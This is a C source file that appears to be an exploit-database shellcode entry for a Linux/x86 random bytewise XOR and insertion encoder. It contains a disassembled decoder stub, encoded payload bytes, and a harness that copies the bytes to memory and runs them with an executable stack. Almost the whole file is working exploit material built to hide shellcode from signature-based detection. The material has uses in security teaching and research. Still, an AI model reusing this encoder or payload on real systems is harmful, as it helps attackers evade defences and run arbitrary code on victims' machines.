/*
# Title: Linux/x86 - Random Bytewise XOR + Insertion Encoder Shellcode (54 bytes)
# Date: 2018-09-13
# Author: Ray Doyle (@doylersec)
# Homepage: https://www.doyler.net
# Tested on: Linux/x86
# gcc -o xor_encoded_shellcode -z execstack -fno-stack-protector xor_encoded_shellcode.c
*/
/****************************************************
Disassembly of section .text:
08048060 <_start>:
8048060: eb 2f jmp 8048091 <find_address>
08048062 <decoder>:
8048062: 5f pop edi
8048063: 57 push edi
8048064: 5e pop esi
08048065 <get_key>:
8048065: 8a 07 mov al,BYTE PTR [edi]
8048067: 6a 90 push 0xffffff90
8048069: 5b pop ebx
804806a: 3c aa cmp al,0xaa
804806c: 74 0a je 8048078 <decode_insertion>
804806e: 30 d8 xor al,bl
08048070 <decode_xor>:
8048070: 30 07 xor BYTE PTR [edi],al
8048072: 47 inc edi
8048073: 30 07 xor BYTE PTR [edi],al
8048075: 47 inc edi
8048076: eb ed jmp 8048065 <get_key>
08048078 <decode_insertion>:
8048078: 8d 3e lea edi,[esi]
804807a: 31 c0 xor eax,eax
804807c: 31 db xor ebx,ebx
0804807e <insertion_decoder>:
804807e: 8a 1c 06 mov bl,BYTE PTR [esi+eax*1]
8048081: 80 f3 90 xor bl,0x90
8048084: 75 10 jne 8048096 <encoded>
8048086: 8a 5c 06 01 mov bl,BYTE PTR [esi+eax*1+0x1]
804808a: 88 1f mov BYTE PTR [edi],bl
804808c: 47 inc edi
804808d: 04 02 add al,0x2
804808f: eb ed jmp 804807e <insertion_decoder>
08048091 <find_address>:
8048091: e8 cc ff ff ff call 8048062 <decoder>
08048096 <encoded>:
8048096: b7 cc mov bh,0xcc
8048098: 3d ba 0a ab f3 cmp eax,0xf3ab0aba
804809d: a3 9b bb 01 95 mov ds:0x9501bb9b,eax
80480a2: 75 d4 jne 8048078 <decode_insertion>
80480a4: bc f7 fa d9 1c mov esp,0x1cd9faf7
80480a9: 8d (bad)
80480aa: d5 1c aad 0x1c
80480ac: f7 56 73 not DWORD PTR [esi+0x73]
80480af: 31 ef xor edi,ebp
80480b1: cd a9 int 0xa9
80480b3: 34 12 xor al,0x12
80480b5: 4f dec edi
80480b6: 50 push eax
80480b7: 40 inc eax
80480b8: 71 d0 jno 804808a <insertion_decoder+0xc>
80480ba: 94 xchg esp,eax
80480bb: c4 (bad)
80480bc: f7 d7 not edi
80480be: 7f ee jg 80480ae <encoded+0x18>
80480c0: 62 (bad)
80480c1: c3 ret
80480c2: 48 dec eax
80480c3: 03 d3 add edx,ebx
80480c5: 8e 76 66 mov ?,WORD PTR [esi+0x66]
80480c8: 2c 54 sub al,0x54
80480ca: 0c 78 or al,0x78
80480cc: 05 6a 37 58 e4 add eax,0xe458376a
80480d1: 8b dc mov ebx,esp
80480d3: 04 3b add al,0x3b
80480d5: ce into
80480d6: b6 4a mov dh,0x4a
80480d8: af scas eax,DWORD PTR es:[edi]
80480d9: 53 push ebx
80480da: 59 pop ecx
80480db: a6 cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
80480dc: b5 05 mov ch,0x5
80480de: f7 30 div DWORD PTR [eax]
80480e0: 15 ea eb 09 9c adc eax,0x9c09ebea
80480e5: 60 pusha
80480e6: e4 10 in al,0x10
80480e8: 7d cc jge 80480b6 <encoded+0x20>
80480ea: 56 push esi
80480eb: cc int3
80480ec: aa stos BYTE PTR es:[edi],al
****************************************************/
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
unsigned char stub[] = \
"\xeb\x31\x5f\x57\x5e\x8a\x07\x6a\x90\x5b\x3c\xaa\x74\x0a\x30\xd8\x30\x07\x47\x30\x07\x47\xeb\xed\x8d\x3e\x31\xc0\x31\xdb\x8a\x1c\x06\x80\xf3\x90\x75\x12\x8a\x5c\x06\x01\x88\x1f\x47\x04\x02\xeb\xed\xff\xe6\xe8\xca\xff\xff\xff";
unsigned char shellcode[] = \
"\xb7\xcc\x3d\xba\x0a\xab\xf3\xa3\x9b\xbb\x01\x95\x75\xd4\xbc\xf7\xfa\xd9\x1c\x8d\xd5\x1c\xf7\x56\x73\x31\xef\xcd\xa9\x34\x12\x4f\x50\x40\x71\xd0\x94\xc4\xf7\xd7\x7f\xee\x62\xc3\x48\x03\xd3\x8e\x76\x66\x2c\x54\x0c\x78\x05\x6a\x37\x58\xe4\x8b\xdc\x04\x3b\xce\xb6\x4a\xaf\x53\x59\xa6\xb5\x05\xf7\x30\x15\xea\xeb\x09\x9c\x60\xe4\x10\x7d\xcc\x56\xcc\xaa";
unsigned char* code;
main()
{
printf("\nStub Length: %d\n", strlen(stub));
printf("Shellcode Length: %d\n\n", strlen(shellcode));
printf("Total Length: %d\n\n", strlen(stub) + strlen(shellcode));
code = malloc(strlen(stub) + strlen(shellcode));
memcpy(code, stub, strlen(stub));
memcpy(&code[strlen(stub)], shellcode, strlen(shellcode));
int (*ret)() = (int(*)())code;
ret();
}
